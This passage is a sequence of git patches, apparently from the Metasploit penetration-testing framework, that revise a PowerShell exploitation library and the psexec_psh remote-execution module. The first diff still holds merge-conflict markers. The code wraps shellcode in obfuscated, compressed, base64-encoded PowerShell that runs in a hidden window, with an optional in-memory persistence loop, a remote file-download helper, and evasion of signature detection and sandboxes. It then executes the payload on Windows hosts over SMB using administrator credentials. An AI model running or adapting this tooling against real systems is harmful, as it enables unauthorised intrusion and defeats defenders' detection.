-		rescue Errno::ENAMETOOLONG, Errno::ENOENT
-			# Treat script as a... script
-			script_in = script
-		end
-		return script_in
-	end
-
-
-	#
-	# Return a zlib compressed powershell script
-	#
-	def compress_script(script_in, eof = nil)
-
-		# Compress using the Deflate algorithm
-		compressed_stream = ::Zlib::Deflate.deflate(script_in,
-			::Zlib::BEST_COMPRESSION)
-
-		# Base64 encode the compressed file contents
-		encoded_stream = Rex::Text.encode_base64(compressed_stream)
-
-		# Build the powershell expression
-		# Decode base64 encoded command and create a stream object
-		psh_expression =  "$stream = New-Object IO.MemoryStream(,"
-		psh_expression << "$([Convert]::FromBase64String('#{encoded_stream}')));"
-		# Read & delete the first two bytes due to incompatibility with MS
-		psh_expression << "$stream.ReadByte()|Out-Null;"
-		psh_expression << "$stream.ReadByte()|Out-Null;"
-		# Uncompress and invoke the expression (execute)
-		psh_expression << "$(Invoke-Expression $(New-Object IO.StreamReader("
-		psh_expression << "$(New-Object IO.Compression.DeflateStream("
-		psh_expression << "$stream,"
-		psh_expression << "[IO.Compression.CompressionMode]::Decompress)),"
-		psh_expression << "[Text.Encoding]::ASCII)).ReadToEnd());"
-
-		# If eof is set, add a marker to signify end of script output
-		if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
-
-		# Convert expression to unicode
-		unicode_expression = Rex::Text.to_unicode(psh_expression)
-
-		# Base64 encode the unicode expression
-		encoded_expression = Rex::Text.encode_base64(unicode_expression)
-
-		return encoded_expression
->>>>>>> master
-	end
-
-	#
-	# Runs powershell in hidden window raising interactive proc msg
-	#
-	def run_hidden_psh(ps_code,ps_bin='powershell.exe')
-		ps_args = " -EncodedCommand #{ compress_script(ps_code) } "
-
-		ps_wrapper = <<EOS
+  class PshScript < Rex::Exploitation::Powershell::Script
+  end
+
+  def initialize(info = {})
+    super
+    register_advanced_options(
+      [
+        OptBool.new('RUN_WOW64', [
+          false,
+          'Execute powershell in 32bit compatibility mode, payloads need native arch',
+          false
+            ]),
+        OptBool.new('PSH::strip_comments', [false, 'Strip comments', true]),
+        OptBool.new('PSH::strip_whitespace', [false, 'Strip whitespace', false]),
+        OptBool.new('PSH::sub_vars', [false, 'Substitute variable names', false]),
+        OptBool.new('PSH::sub_funcs', [false, 'Substitute function names', false]),
+      ], self.class)
+  end
+
+  #
+  # Reads script into a PshScript
+  #
+  def read_script(script)
+    return PshScript.new(script)
+  end
+
+  #
+  # Insert substitutions into the powershell script
+  #
+  def make_subs(script, subs)
+    if ::File.file?(script)
+      script = ::File.read(script)
+    end
+
+    subs.each do |set|
+      script.gsub!(set[0],set[1])
+    end
+    # if datastore['VERBOSE']
+    #   print_good("Final Script: ")
+    #   script.each_line {|l| print_status("\t#{l}")}
+    # end
+    return script
+  end
+
+  #
+  # Return an array of substitutions for use in make_subs
+  #
+  def process_subs(subs)
+    return [] if subs.nil? or subs.empty?
+    new_subs = []
+    subs.split(';').each do |set|
+      new_subs << set.split(',', 2)
+    end
+    return new_subs
+  end
+
+  #
+  # Return a gzip compressed powershell script
+  # Will invoke PSH modifiers as enabled
+  #
+  def compress_script(script_in, eof = nil)
+    # Build script object
+    psh = PshScript.new(script_in)
+    # Invoke enabled modifiers
+    datastore.select {|k,v| k =~ /^PSH::(strip|sub)/ and v == 'true' }.keys.map do |k|
+      mod_method = k.split('::').last.intern
+      psh.send(mod_method)
+    end
+    return psh.compress_code(eof)
+  end
+
+  #
+  # Runs powershell in hidden window raising interactive proc msg
+  #
+  def run_hidden_psh(ps_code,ps_bin='powershell.exe')
+    ps_args = " -EncodedCommand #{ compress_script(ps_code) } "
+
+    ps_wrapper = <<EOS
 $si = New-Object System.Diagnostics.ProcessStartInfo
 $si.FileName = "#{ps_bin}"
 $si.Arguments = '#{ps_args}'
@@ -180,137 +92,98 @@ def run_hidden_psh(ps_code,ps_bin='powershell.exe')
 $p = [System.Diagnostics.Process]::Start($si)
 EOS
 
-<<<<<<< HEAD
-		return ps_wrapper.gsub("\n",';')
-=======
-		return ps_wrapper
->>>>>>> master
-	end
-
-	#
-	# Creates cmd script to execute psh payload
-	#
-<<<<<<< HEAD
-	def cmd_psh_payload(pay, old_psh=false)
-=======
-	def cmd_psh_payload(pay, old_psh=datastore['PSH_OLD_METHOD'], wow64=datastore['RUN_WOW64'])
->>>>>>> master
-		# Allow powershell 1.0 format
-		if old_psh
-			psh_payload = Msf::Util::EXE.to_win32pe_psh(framework, pay)
-		else
-			psh_payload = Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
-		end
-		# Run our payload in a while loop
-		if datastore['PERSIST']
-			fun_name = Rex::Text.rand_text_alpha(rand(2)+2)
-			sleep_time = rand(5)+5
-			psh_payload  = "function #{fun_name}{#{psh_payload}};"
-			psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
-		end
-<<<<<<< HEAD
-		# Determine appropriate architecture, manual method reduces script size
-		ps_bin = datastore['RUN_WOW64'] ? '$env:windir\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
-		# Wrap in hidden runtime
-		psh_payload = run_hidden_psh(psh_payload,ps_bin)
-		# Convert to base64 for -encodedcommand execution
-		command = "%COMSPEC% /B /C start /min powershell.exe -Command \"#{psh_payload.gsub('"','\"')}\"\r\n"
-	end
-
-
-	#
-	# Useful method cache
-	#
-	module PshMethods
-
-		#
-		# Convert binary to byte array, read from file if able
-		#
-		def self.to_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3))
-			code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
-			code = code.unpack('C*')
-			psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
-			lines = []
-			1.upto(code.length-1) do |byte|
-				if(byte % 10 == 0)
-					lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}"
-				else
-					lines.push ",0x#{code[byte].to_s(16)}"
-				end
-			end
-
-			return psh << lines.join("") + "\r\n"
-		end
-
-		#
-		# Download file to host via PSH
-		#
-		def self.download(src,target=nil)
-			target ||= '$pwd\\' << src.split('/').last
-			return %Q^(new-object System.Net.WebClient).Downloadfile("#{src}", "#{target}")^
-		end
-
-		#
-		# Uninstall app
-		#
-		def self.uninstall(app,fuzzy=true)
-			match = fuzzy ? '-like' : '-eq'
-			return %Q^$app = Get-WmiObject -Class Win32_Product | Where-Object { $_.Name #{match} "#{app}" }; $app.Uninstall()^
-		end
-
-		#
-		# Create secure string from plaintext
-		#
-		def self.secure_string(str)
-			return %Q^ConvertTo-SecureString -string '#{str}' -AsPlainText -Force$^
-		end
-
-		#
-		# MISC
-		#
-
-		#
-		# Find PID of file locker
-		#
-		def self.who_locked_file?(filename)
-			return %Q^ Get-Process | foreach{$processVar = $_;$_.Modules | foreach{if($_.FileName -eq "#{filename}"){$processVar.Name + " PID:" + $processVar.id}}}^
-		end
-
-
-		def self.get_last_login(user)
-			return %Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{user}").LastLogon} | Measure-Latest^
-		end
-	end
-=======
-		# Determine appropriate architecture
-		ps_bin = wow64 ? '$env:windir\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
-		# Wrap in hidden runtime
-		psh_payload = run_hidden_psh(psh_payload,ps_bin)
-		# Convert to base64 for -encodedcommand execution
-		command = "%COMSPEC% /B /C start powershell.exe -Command \"#{psh_payload.gsub("\n",';').gsub('"','\"')}\"\r\n"
-	end
-
-	#
-	# Convert binary to byte array, read from file if able
-	#
-	def build_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3))
-		code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
-		code = code.unpack('C*')
-		psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
-		lines = []
-		1.upto(code.length-1) do |byte|
-			if(byte % 10 == 0)
-				lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}"
-			else
-				lines.push ",0x#{code[byte].to_s(16)}"
-			end
-		end
-		psh << lines.join("") + "\r\n"
-	end
-
-
-
->>>>>>> master
+    return ps_wrapper.gsub("\n",';')
+  end
+
+  #
+  # Creates cmd script to execute psh payload
+  #
+  def cmd_psh_payload(pay, old_psh=false)
+    # Allow powershell 1.0 format
+    if old_psh
+      psh_payload = Msf::Util::EXE.to_win32pe_psh(framework, pay)
+    else
+      psh_payload = Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
+    end
+    # Run our payload in a while loop
+    if datastore['PERSIST']
+      fun_name = Rex::Text.rand_text_alpha(rand(2)+2)
+      sleep_time = rand(5)+5
+      psh_payload  = "function #{fun_name}{#{psh_payload}};"
+      psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
+    end
+    # Determine appropriate architecture, manual method reduces script size
+    ps_bin = datastore['RUN_WOW64'] ? '$env:windir\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
+    # Wrap in hidden runtime
+    psh_payload = run_hidden_psh(psh_payload,ps_bin)
+    # Convert to base64 for -encodedcommand execution
+    command = "%COMSPEC% /B /C start /min powershell.exe -Command \"#{psh_payload.gsub('"','\"')}\"\r\n"
+  end
+
+
+  #
+  # Useful method cache
+  #
+  module PshMethods
+
+    #
+    # Convert binary to byte array, read from file if able
+    #
+    def self.to_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3))
+      code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
+      code = code.unpack('C*')
+      psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
+      lines = []
+      1.upto(code.length-1) do |byte|
+        if(byte % 10 == 0)
+          lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}"
+        else
+          lines.push ",0x#{code[byte].to_s(16)}"
+        end
+      end
+
+      return psh << lines.join("") + "\r\n"
+    end
+
+    #
+    # Download file to host via PSH
+    #
+    def self.download(src,target=nil)
+      target ||= '$pwd\\' << src.split('/').last
+      return %Q^(new-object System.Net.WebClient).Downloadfile("#{src}", "#{target}")^
+    end
+
+    #
+    # Uninstall app
+    #
+    def self.uninstall(app,fuzzy=true)
+      match = fuzzy ? '-like' : '-eq'
+      return %Q^$app = Get-WmiObject -Class Win32_Product | Where-Object { $_.Name #{match} "#{app}" }; $app.Uninstall()^
+    end
+
+    #
+    # Create secure string from plaintext
+    #
+    def self.secure_string(str)
+      return %Q^ConvertTo-SecureString -string '#{str}' -AsPlainText -Force$^
+    end
+
+    #
+    # MISC
+    #
+
+    #
+    # Find PID of file locker
+    #
+    def self.who_locked_file?(filename)
+      return %Q^ Get-Process | foreach{$processVar = $_;$_.Modules | foreach{if($_.FileName -eq "#{filename}"){$processVar.Name + " PID:" + $processVar.id}}}^
+    end
+
+
+    def self.get_last_login(user)
+      return %Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{user}").LastLogon} | Measure-Latest^
+    end
+  end
 end
 end
 

From b3fab9a342131f9fcb6d7f3e8ac2e0da069765c7 Mon Sep 17 00:00:00 2001
From: RageLtMan <rageltman [at] sempervictus>
Date: Sun, 28 Jul 2013 19:23:37 -0400
Subject: [PATCH 007/108] Fix git branch mauling - reintroduce psexec_psh

Replace powershell lib which snuck in as psexec_psh.
Introduce psexec_psh module which uses the Rex and Msf PSH
methods provided in the lib import.
---
 modules/exploits/windows/smb/psexec_psh.rb | 260 +++++++--------------
 1 file changed, 87 insertions(+), 173 deletions(-)

diff --git a/modules/exploits/windows/smb/psexec_psh.rb b/modules/exploits/windows/smb/psexec_psh.rb
index ac6653434306..bc8920d8c301 100644
--- a/modules/exploits/windows/smb/psexec_psh.rb
+++ b/modules/exploits/windows/smb/psexec_psh.rb
@@ -1,189 +1,103 @@
 # -*- coding: binary -*-
-require 'rex/exploitation/powershell'
 
-module Msf
-module Exploit::Powershell
+require 'msf/core'
 
-	class PshScript < Rex::Exploitation::Powershell::Script
-	end
+class Metasploit3 < Msf::Exploit::Remote
+		Rank = ManualRanking
 
-	def initialize(info = {})
-		super
-		register_advanced_options(
-			[
-				OptBool.new('RUN_WOW64', [
-					false,
-					'Execute powershell in 32bit compatibility mode, payloads need native arch',
-					false
-						]),
-				OptBool.new('PSH::strip_comments', [false, 'Strip comments', true]),
-				OptBool.new('PSH::strip_whitespace', [false, 'Strip whitespace', false]),
-				OptBool.new('PSH::sub_vars', [false, 'Substitute variable names', false]),
-				OptBool.new('PSH::sub_funcs', [false, 'Substitute function names', false]),
-			], self.class)
-	end
+	# Exploit mixins should be called first
+	include Msf::Exploit::Remote::SMB::Psexec
+	include Msf::Exploit::Powershell
+	include Msf::Auxiliary::Report
+	include Msf::Exploit::EXE
 
-	#
-	# Reads script into a PshScript
-	#
-	def read_script(script)
-		return PshScript.new(script)
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'Microsoft Windows Authenticated Powershell Command Execution',
+			'Description'    => %q{
+					This module uses a valid administrator username and password to execute a powershell
+				payload using a similar technique to the "psexec" utility provided by SysInternals. The
+				payload is obfuscated, gzip compressed, then encoded in base64 and executed from the commandline
+				using the -encodedcommand flag. Using this method, the payload is never written to disk, and
+				given that each payload is unique, is not very prone to signature based detection on the wire.
+				Since executing shellcode in .NET requires the use of system resources from unmanaged memory space,
+				the .NET (PSH) architecture must match that of the payload. Lastly, a persist option is provided
+				to execute the payload in a while loop in order to maintain a form of in-mem persistence. In the event
+				of a sandbox observing PSH execution, a delay and other obfuscation may be added to avoid detection.
+				In order to avoid interactive process notifications for the current user, the psh payload has
+				been reduced in size and wrapped in a powershell invocation which hides the window entirely.
+			},
+
+			'Author'         => [
+				'RageLtMan <rageltman[at]sempervictus'
+			],
+
+			'License'        => MSF_LICENSE,
+			'Privileged'     => true,
+			'DefaultOptions' =>
+				{
+					'WfsDelay'     => 10,
+					'EXITFUNC' => 'thread'
+				},
+			'Payload'        =>
+				{
+					'Space'        => 8192,
+					'DisableNops'  => true,
+					'StackAdjustment' => -3500
+				},
+			'Platform'       => 'win',
+			'Targets'        =>
+				[
+					[ 'Automatic', { } ],
+				],
+			'DefaultTarget'  => 0,
+			'References'     => [
+				[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
+				[ 'OSVDB', '3106'],
+				[ 'URL', 'http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access' ],
+				[ 'URL', 'http://sourceforge.net/projects/smbexec/' ],
+				[ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ]
+			]
+		))
+
+		register_options([
+			OptBool.new('PERSIST', [false, 'Run the payload in a loop']),
+			OptBool.new('PSH_OLD_METHOD', [false, 'Use powershell 1.0', false]),
+			OptBool.new('DryRun',[false,'dry run',false]),
+		], self.class)
 	end
 
-	#
-	# Insert substitutions into the powershell script
-	#
-	def make_subs(script, subs)
-		if ::File.file?(script)
-			script = ::File.read(script)
-		end
-
-		subs.each do |set|
-			script.gsub!(set[0],set[1])
-		end
-		# if datastore['VERBOSE']
-		#   print_good("Final Script: ")
-		#   script.each_line {|l| print_status("\t#{l}")}
-		# end
-		return script
-	end
 
-	#
-	# Return an array of substitutions for use in make_subs
-	#
-	def process_subs(subs)
-		return [] if subs.nil? or subs.empty?
-		new_subs = []
-		subs.split(';').each do |set|
-			new_subs << set.split(',', 2)
+	def exploit
+		command = cmd_psh_payload(payload.encoded,datastore['PSH_OLD_METHOD'])
+		if datastore['DryRun']
+			print_good command
+			return
 		end
-		return new_subs
-	end
 
-	#
-	# Return a gzip compressed powershell script
-	# Will invoke PSH modifiers as enabled
-	#
-	def compress_script(script_in, eof = nil)
-		# Build script object
-		psh = PshScript.new(script_in)
-		# Invoke enabled modifiers
-		datastore.select {|k,v| k =~ /^PSH::(strip|sub)/ and v == 'true' }.keys.map do |k|
-			mod_method = k.split('::').last.intern
-			psh.send(mod_method)
+		#Try and authenticate with given credentials
+		if connect
+			begin
+				smb_login
+			rescue StandardError => autherror
+				print_error("#{peer} - Unable to authenticate with given credentials: #{autherror}")
+				return
+			end
+			# Execute the powershell command
+			begin
+				print_status("#{peer} - Executing the payload...")
+				#vprint_good(command)
+				return psexec(command)
+			rescue StandardError => exec_command_error
+				print_error("#{peer} - Unable to execute specified command: #{exec_command_error}")
+				return false
+			end
+			disconnect
 		end
-		return psh.compress_code(eof)
 	end
 
-	#
-	# Runs powershell in hidden window raising interactive proc msg
-	#
-	def run_hidden_psh(ps_code,ps_bin='powershell.exe')
-		ps_args = " -EncodedCommand #{ compress_script(ps_code) } "
-
-		ps_wrapper = <<EOS
-$si = New-Object System.Diagnostics.ProcessStartInfo
-$si.FileName = "#{ps_bin}"
-$si.Arguments = '#{ps_args}'
-$si.UseShellExecute = $false
-$si.RedirectStandardOutput = $true
-$si.WindowStyle = 'Hidden'
-$si.CreateNoWindow = $True
-$p = [System.Diagnostics.Process]::Start($si)
-EOS
-
-		return ps_wrapper.gsub("\n",';')
+	def peer
+		return "#{rhost}:#{rport}"
 	end
 
-	#
-	# Creates cmd script to execute psh payload
-	#
-	def cmd_psh_payload(pay, old_psh=false)
-		# Allow powershell 1.0 format
-		if old_psh
-			psh_payload = Msf::Util::EXE.to_win32pe_psh(framework, pay)
-		else
-			psh_payload = Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
-		end
-		# Run our payload in a while loop
-		if datastore['PERSIST']
-			fun_name = Rex::Text.rand_text_alpha(rand(2)+2)
-			sleep_time = rand(5)+5
-			psh_payload  = "function #{fun_name}{#{psh_payload}};"
-			psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
-		end
-		# Determine appropriate architecture, manual method reduces script size
-		ps_bin = datastore['RUN_WOW64'] ? '$env:windir\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
-		# Wrap in hidden runtime
-		psh_payload = run_hidden_psh(psh_payload,ps_bin)
-		# Convert to base64 for -encodedcommand execution
-		command = "%COMSPEC% /B /C start /min powershell.exe -Command \"#{psh_payload.gsub('"','\"')}\"\r\n"
-	end
-
-
-	#
-	# Useful method cache
-	#
-	module PshMethods
-
-		#
-		# Convert binary to byte array, read from file if able
-		#
-		def self.to_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3))
-			code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
-			code = code.unpack('C*')
-			psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
-			lines = []
-			1.upto(code.length-1) do |byte|
-				if(byte % 10 == 0)
-					lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}"
-				else
-					lines.push ",0x#{code[byte].to_s(16)}"
-				end
-			end
-
-			return psh << lines.join("") + "\r\n"
-		end
-
-		#
-		# Download file to host via PSH
-		#
-		def self.download(src,target=nil)
-			target ||= '$pwd\\' << src.split('/').last
-			return %Q^(new-object System.Net.WebClient).Downloadfile("#{src}", "#{target}")^
-		end
-
-		#
-		# Uninstall app
-		#
-		def self.uninstall(app,fuzzy=true)
-			match = fuzzy ? '-like' : '-eq'
-			return %Q^$app = Get-WmiObject -Class Win32_Product | Where-Object { $_.Name #{match} "#{app}" }; $app.Uninstall()^
-		end
-
-		#
-		# Create secure string from plaintext
-		#
-		def self.secure_string(str)
-			return %Q^ConvertTo-SecureString -string '#{str}' -AsPlainText -Force$^
-		end
-
-		#
-		# MISC
-		#
-
-		#
-		# Find PID of file locker
-		#
-		def self.who_locked_file?(filename)
-			return %Q^ Get-Process | foreach{$processVar = $_;$_.Modules | foreach{if($_.FileName -eq "#{filename}"){$processVar.Name + " PID:" + $processVar.id}}}^
-		end
-
-
-		def self.get_last_login(user)
-			return %Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{user}").LastLogon} | Measure-Latest^
-		end
-	end
 end
-end
-

From 176de5a380d89f8264700782a9c938ba7c57b3b6 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Mon, 29 Jul 2013 15:13:59 +0100
Subject: [PATCH 008/108] Selective psexec_psh merge.

---
 modules/exploits/windows/smb/psexec_psh.rb | 39 +++++++++++++---------
 1 file changed, 23 insertions(+), 16 deletions(-)

diff --git a/modules/exploits/windows/smb/psexec_psh.rb b/modules/exploits/windows/smb/psexec_psh.rb
index 15f41e012801..e2396799396e 100644
--- a/modules/exploits/windows/smb/psexec_psh.rb
+++ b/modules/exploits/windows/smb/psexec_psh.rb
@@ -23,15 +23,15 @@ def initialize(info = {})
 			'Description'    => %q{
 					This module uses a valid administrator username and password to execute a powershell
 				payload using a similar technique to the "psexec" utility provided by SysInternals. The
-				payload is encoded in base64 and executed from the commandline using the -encodedcommand
-				flag. Using this method, the payload is never written to disk, and given that each payload
-				is unique, is less prone to signature based detection. Since executing shellcode in .NET
-				requires the use of system resources from unmanaged memory space, the .NET (PSH) architecture
-				must match that of the payload. Lastly, a persist option is provided to execute the payload
-				in a while loop in order to maintain a form of persistence. In the event of a sandbox
-				observing PSH execution, a delay and other obfuscation may be added to avoid detection.
+				payload is obfuscated, gzip compressed, then encoded in base64 and executed from the commandline
+				using the -encodedcommand flag. Using this method, the payload is never written to disk, and
+				given that each payload is unique, is not very prone to signature based detection on the wire.
+				Since executing shellcode in .NET requires the use of system resources from unmanaged memory space,
+				the .NET (PSH) architecture must match that of the payload. Lastly, a persist option is provided
+				to execute the payload in a while loop in order to maintain a form of in-mem persistence. In the event
+				of a sandbox observing PSH execution, a delay and other obfuscation may be added to avoid detection.
 				In order to avoid interactive process notifications for the current user, the psh payload has
-				been reduced in size and wrapped in a powershell invocation which hides the process entirely.
+				been reduced in size and wrapped in a powershell invocation which hides the window entirely.
 			},
 
 			'Author'         => [
@@ -68,16 +68,21 @@ def initialize(info = {})
 				[ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ]
 			]
 		))
+
+		register_options([
+			OptBool.new('DryRun',[false,'dry run',false]),
+		], self.class)
 	end
 
+
 	def exploit
 		command = cmd_psh_payload(payload.encoded)
-
-		if datastore['PERSIST'] and not datastore['DisablePayloadHandler']
-			print_warning("You probably want to DisablePayloadHandler and use exploit/multi/handler with the PERSIST option.")
+		if datastore['DryRun']
+			print_good command
+			return
 		end
 
-		if datastore['RUN_WOW64'] and target_arch.first == "x86_64"
+		if datastore['PSH::RUN_WOW64'] and target_arch.first == "x86_64"
 			fail_with(Exploit::Failure::BadConfig, "Select an x86 target and payload with RUN_WOW64 enabled")
 		end
 
@@ -86,22 +91,24 @@ def exploit
 			begin
 				smb_login
 			rescue StandardError => autherror
-				disconnect
 				fail_with(Exploit::Failure::NoAccess, "#{peer} - Unable to authenticate with given credentials: #{autherror}")
+      ensure
+        disconnect
 			end
 			# Execute the powershell command
 			print_status("#{peer} - Executing the payload...")
 			begin
 				return psexec(command)
 			rescue StandardError => exec_command_error
-				disconnect
 				fail_with(Exploit::Failure::Unknown, "#{peer} - Unable to execute specified command: #{exec_command_error}")
-			end
+      ensure
+        disconnect
+      end
 		end
 	end
 
 	def peer
-		return "#{rhost}:#{rport}"
+	  "#{rhost}:#{rport}"
 	end
 end
 

From 59a2c7e940e3c3d29dd4f5dc48e21a9d906c2f68 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Mon, 29 Jul 2013 15:24:29 +0100
Subject: [PATCH 009/108] Merge Upstream Exploit::Powershell

---
 lib/msf/core/exploit/powershell.rb | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb
index 5539f5c8f4a0..f2b2cbaccbd5 100644
--- a/lib/msf/core/exploit/powershell.rb
+++ b/lib/msf/core/exploit/powershell.rb
@@ -11,7 +11,9 @@ def initialize(info = {})
     super
     register_advanced_options(
       [
-        OptBool.new('RUN_WOW64', [
+				OptBool.new('PSH::PERSIST', [true, 'Run the payload in a loop', false]),
+				OptBool.new('PSH::OLD_METHOD', [true, 'Use powershell 1.0', false]),
+        OptBool.new('PSH::RUN_WOW64', [
           false,
           'Execute powershell in 32bit compatibility mode, payloads need native arch',
           false

From e1cfe7cfe23a39db8015059a6a4505ca7e1f582c Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Mon, 29 Jul 2013 15:24:29 +0100
Subject: [PATCH 010/108] Update datastore changes

---
 lib/msf/core/exploit/powershell.rb | 10 ++++++----
 1 file changed, 6 insertions(+), 4 deletions(-)

diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb
index 5539f5c8f4a0..ec0cd1b451b6 100644
--- a/lib/msf/core/exploit/powershell.rb
+++ b/lib/msf/core/exploit/powershell.rb
@@ -11,7 +11,9 @@ def initialize(info = {})
     super
     register_advanced_options(
       [
-        OptBool.new('RUN_WOW64', [
+				OptBool.new('PSH::PERSIST', [true, 'Run the payload in a loop', false]),
+				OptBool.new('PSH::OLD_METHOD', [true, 'Use powershell 1.0', false]),
+        OptBool.new('PSH::RUN_WOW64', [
           false,
           'Execute powershell in 32bit compatibility mode, payloads need native arch',
           false
@@ -98,7 +100,7 @@ def run_hidden_psh(ps_code,ps_bin='powershell.exe')
   #
   # Creates cmd script to execute psh payload
   #
-  def cmd_psh_payload(pay, old_psh=false)
+	def cmd_psh_payload(pay, old_psh=datastore['PSH::OLD_METHOD'], wow64=datastore['PSH::RUN_WOW64'])
     # Allow powershell 1.0 format
     if old_psh
       psh_payload = Msf::Util::EXE.to_win32pe_psh(framework, pay)
@@ -106,14 +108,14 @@ def cmd_psh_payload(pay, old_psh=false)
       psh_payload = Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
     end
     # Run our payload in a while loop
-    if datastore['PERSIST']
+    if datastore['PSH::PERSIST']
       fun_name = Rex::Text.rand_text_alpha(rand(2)+2)
       sleep_time = rand(5)+5
       psh_payload  = "function #{fun_name}{#{psh_payload}};"
       psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
     end
     # Determine appropriate architecture, manual method reduces script size
-    ps_bin = datastore['RUN_WOW64'] ? '$env:windir\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
+		ps_bin = wow64 ? '$env:windir\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
     # Wrap in hidden runtime
     psh_payload = run_hidden_psh(psh_payload,ps_bin)
     # Convert to base64 for -encodedcommand execution

From b241b5a8949022df83340e9bd04877d2079b68e8 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Fri, 13 Sep 2013 19:06:37 +0100
Subject: [PATCH 011/108] Apply comments

---
 lib/msf/core/exploit/powershell.rb            | 22 ++++++++++---------
 .../exploits/windows/misc/psh_web_delivery.rb |  2 +-
 modules/exploits/windows/smb/psexec_psh.rb    | 18 ++++++---------
 3 files changed, 20 insertions(+), 22 deletions(-)

diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb
index ec0cd1b451b6..a83b2370ff68 100644
--- a/lib/msf/core/exploit/powershell.rb
+++ b/lib/msf/core/exploit/powershell.rb
@@ -11,11 +11,11 @@ def initialize(info = {})
     super
     register_advanced_options(
       [
-				OptBool.new('PSH::PERSIST', [true, 'Run the payload in a loop', false]),
-				OptBool.new('PSH::OLD_METHOD', [true, 'Use powershell 1.0', false]),
-        OptBool.new('PSH::RUN_WOW64', [
+        OptBool.new('PSH::persist', [true, 'Run the payload in a loop', false]),
+        OptBool.new('PSH::old_technique', [true, 'Use powershell 1.0', false]),
+        OptBool.new('PSH::run_wow64', [
           false,
-          'Execute powershell in 32bit compatibility mode, payloads need native arch',
+          'Execute powershell in 32bit compatibility mode, payloads need x86 arch',
           false
             ]),
         OptBool.new('PSH::strip_comments', [false, 'Strip comments', true]),
@@ -28,12 +28,14 @@ def initialize(info = {})
   #
   # Reads script into a PshScript
   #
-  def read_script(script)
-    return PshScript.new(script)
+  def read_script(script_path)
+    return PshScript.new(script_path)
   end
 
   #
   # Insert substitutions into the powershell script
+  # If script is a path to a file then read the file
+  # otherwise treat it as the contents of a file
   #
   def make_subs(script, subs)
     if ::File.file?(script)
@@ -81,7 +83,7 @@ def compress_script(script_in, eof = nil)
   # Runs powershell in hidden window raising interactive proc msg
   #
   def run_hidden_psh(ps_code,ps_bin='powershell.exe')
-    ps_args = " -EncodedCommand #{ compress_script(ps_code) } "
+    ps_args = " -e #{ compress_script(ps_code) } "
 
     ps_wrapper = <<EOS
 $si = New-Object System.Diagnostics.ProcessStartInfo
@@ -100,7 +102,7 @@ def run_hidden_psh(ps_code,ps_bin='powershell.exe')
   #
   # Creates cmd script to execute psh payload
   #
-	def cmd_psh_payload(pay, old_psh=datastore['PSH::OLD_METHOD'], wow64=datastore['PSH::RUN_WOW64'])
+  def cmd_psh_payload(pay, old_psh=datastore['PSH::old_method'], wow64=datastore['PSH::run_wow64'])
     # Allow powershell 1.0 format
     if old_psh
       psh_payload = Msf::Util::EXE.to_win32pe_psh(framework, pay)
@@ -108,7 +110,7 @@ def cmd_psh_payload(pay, old_psh=datastore['PSH::OLD_METHOD'], wow64=datastore['
       psh_payload = Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
     end
     # Run our payload in a while loop
-    if datastore['PSH::PERSIST']
+    if datastore['PSH::persist']
       fun_name = Rex::Text.rand_text_alpha(rand(2)+2)
       sleep_time = rand(5)+5
       psh_payload  = "function #{fun_name}{#{psh_payload}};"
@@ -119,7 +121,7 @@ def cmd_psh_payload(pay, old_psh=datastore['PSH::OLD_METHOD'], wow64=datastore['
     # Wrap in hidden runtime
     psh_payload = run_hidden_psh(psh_payload,ps_bin)
     # Convert to base64 for -encodedcommand execution
